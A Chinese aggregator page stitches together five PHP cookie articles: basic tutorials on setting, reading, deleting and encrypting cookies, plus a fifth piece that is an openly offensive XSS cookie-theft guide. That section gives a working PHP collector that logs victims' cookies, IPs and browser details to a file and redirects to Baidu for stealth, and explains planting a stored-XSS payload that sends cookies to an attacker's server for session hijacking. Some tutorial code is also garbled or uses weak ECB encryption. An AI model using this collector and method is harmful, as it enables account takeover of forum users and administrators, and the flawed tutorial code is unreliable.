欢迎来到个人简历网!永久域名:gerenjianli.cn (个人简历全拼+cn)
当前位置:首页 > 范文大全 > 实用文>PHP如何设置和取得Cookie值

PHP如何设置和取得Cookie值

2022-09-19 08:41:29 收藏本文 下载本文

“别欺负我胖虎”通过精心收集,向本站投稿了5篇PHP如何设置和取得Cookie值,下面是小编收集整理后的PHP如何设置和取得Cookie值,供大家参考借鉴,希望可以帮助到有需要的朋友。

PHP如何设置和取得Cookie值

篇1:PHP如何设置和取得Cookie值

如果不需要URLencoded可以使用setrawcookie代替

PHP $COOKIE变量用来取得一个cookie值,下面的例子中我们取得了名字为url的cookie值并显示在了页面上:

// Print a cookie

echo $_COOKIE[“url”];

// A way to view all cookies

print_r($_COOKIE);

?>

篇2:PHP中如何使用Cookie

PHP中如何使用Cookie

PHP对Cookie的接收和处理的支持非常好,是完全自动的,跟FORM变量的原则一样,特别简单,

比如设置一个名为 MyCookier的Cookie,PHP会自动从WEB服务器接收的HTTP头里把它分析出来,并形成一个与普通变量一样的变量,名为$ myCookie,这个变量的值就是Cookie的值。数组同样适用。另外一个办法是引用PHP的全局变量$HTTP_COOKIE_VARS数组。

分别举例如下:(假设这些都在以前的页面里设置过了,并且仍然有效)

echo $MyCookie;

echo $CookieArray[0];

echo $_COOKIE[“MyCookie”];

echo $HTTP_COOKIE_VARS[“MyCookie”];

要删除一个已经存在的Cookie,有两个办法:

1、SetCookie(“Cookie”, “”);

2、SetCookie(“Cookie”, “value” , time-1 / time() );

使用Cookie的限制

1、必须在HTML文件的.内容输出之前设置;

2、不同的浏览器对Cookie的处理不一致,且有时会出现错误的结果,

3、限制是在客户端的。一个浏览器能创建的Cookie数量最多为30个,并且每个不能超过4KB,每个WEB站点能设置的Cookie总数不能超过20个。

篇3:在php中取得image按钮传递的name值

我需要使用图片按钮来美化我的web,但是使用连接的传递方式会在浏览栏里面出现变量值,这样看上去不舒服,如果使用hidden来提交呢,又觉得没有必要,因为既然image有name属性,就应该能取到的,何必要多加一个变量呢?在bbs里贴了好几天也没人回答,我就只能自己看书想办法,后来找到了!

在表单中的image作为submit的话,会产生两个相关变量,譬如:

篇4:php实现cookie加密的方法

作者:小 字体:[增加 减小] 类型:

代码如下:

<?php

class Cookie

{

/**

* 解密已经加密了的cookie

*

* @param string $encryptedText

* @return string

*/

private static function _decrypt($encryptedText)

{

$key = Config::get(‘secret_key‘);

$cryptText = base64_decode($encryptedText);

$ivSize = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB);

$iv = mcrypt_create_iv($ivSize, MCRYPT_RAND);

$decryptText = mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $key, $cryptText, MCRYPT_MODE_ECB, $iv);

return trim($decryptText);

}

/**

* 加密cookie

*

* @param string $plainText

* @return string

*/

private static function _encrypt($plainText)

{

$key = Config::get(‘secret_key‘);

$ivSize = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB);

$iv = mcrypt_create_iv($ivSize, MCRYPT_RAND);

$encryptText = mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key, $plainText, MCRYPT_MODE_ECB, $iv);

return trim(base64_encode($encryptText));

}

/**

* 删除cookie

*

* @param array $args

* @return boolean

*/

public static function del($args)

{

$name = $args[‘name‘];

$domain = isset($args[‘domain‘]) ? $args[‘domain‘] : null;

return isset($_COOKIE[$name]) ? setcookie($name, ‘‘, time - 86400, ‘/‘, $domain) : true;

}

/**

* 得到指定cookie的值

*

* @param string $name

*/

public static function get($name)

{

return isset($_COOKIE[$name]) ? self::_decrypt($_COOKIE[$name]) : null;

}

/**

* 设置cookie

*

* @param array $args

* @return boolean

*/

public static function set($args)

{

$name = $args[‘name‘];

$value= self::_encrypt($args[‘value‘]);

$expire = isset($args[‘expire‘]) ? $args[‘expire‘] : null;

$path = isset($args[‘path‘]) ? $args[‘path‘] : ‘/‘;

$domain = isset($args[‘domain‘]) ? $args[‘domain‘] : null;

$secure = isset($args[‘secure‘]) ? $args[‘secure‘] : 0;

return setcookie($name, $value, $expire, $path, $domain, $secure);

}

}

希望本文所述对大家的php程序设计有所帮助,

篇5:XSS获取cookie和利用方式 (PHP版)脚本安全

$cookie = $_GET['cookie']; //以GET方式获取cookie变量值$ip = getenv ('REMOTE_ADDR'); //远程主机IP地址$time=date('Y-m-d g:i:s'); //以“年-月-日时:分:秒”的格式显示时间$referer=getenv ('HTTP_REFERER'); //链接来源$agent = $_SERVER['HTTP_USER_AGENT']; //用户浏览器类型$fp = fopen('cookie.txt', 'a'); //打开cookie.txt,若不存在则创建它fwrite($fp,“ IP: ” .$ip. “n Date and Time: ” .$time. “n User Agent:”.$agent.“n Referer: ”.$referer.“n Cookie: ”.$cookie.“nnn”); //写入文件fclose($fp); //关闭文件header(“Location: www.baidu.com”); //将网页重定向到百度,增强隐蔽性

将上述文件保存为cookie.php文件,放到你自己的网站服务器下,比如这里我们自己搭建的服务器为:www.cto365.com/cookie.php,

XSS构造语句为:

或者

将上述语句写入存在XSS的目标中(最好是存储型xss),比如你找到了某个博客或者论坛存在存储型XSS,你在里面发一篇帖子或者留上你的评论,内容就是上述语句,当其他用户或者管理员打开这个评论或者帖子链接后,XSS就会触发,然后跳转到www.cto365.com/cookie.php?msg=’+document.cookie的页面,之后当前账户的coolie信息就当成参数发到你的网站下的文件里了。然后的然后你就可以那这个cookie登陆了。

【PHP如何设置和取得Cookie值】相关文章:

1.php简历

2.php 面试题

3.善意取得制度

4.PHP编程习惯

5.如何选择和设置SEO关键词

6.值日记

7.取得成绩的总结

8.浏览器 cookie 限制网页设计

9.php程序员述职报告

10.大学生PHP程序员个人简历

下载word文档
《PHP如何设置和取得Cookie值.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度: 评级1星 评级2星 评级3星 评级4星 评级5星
点击下载文档

文档为doc格式

  • 返回顶部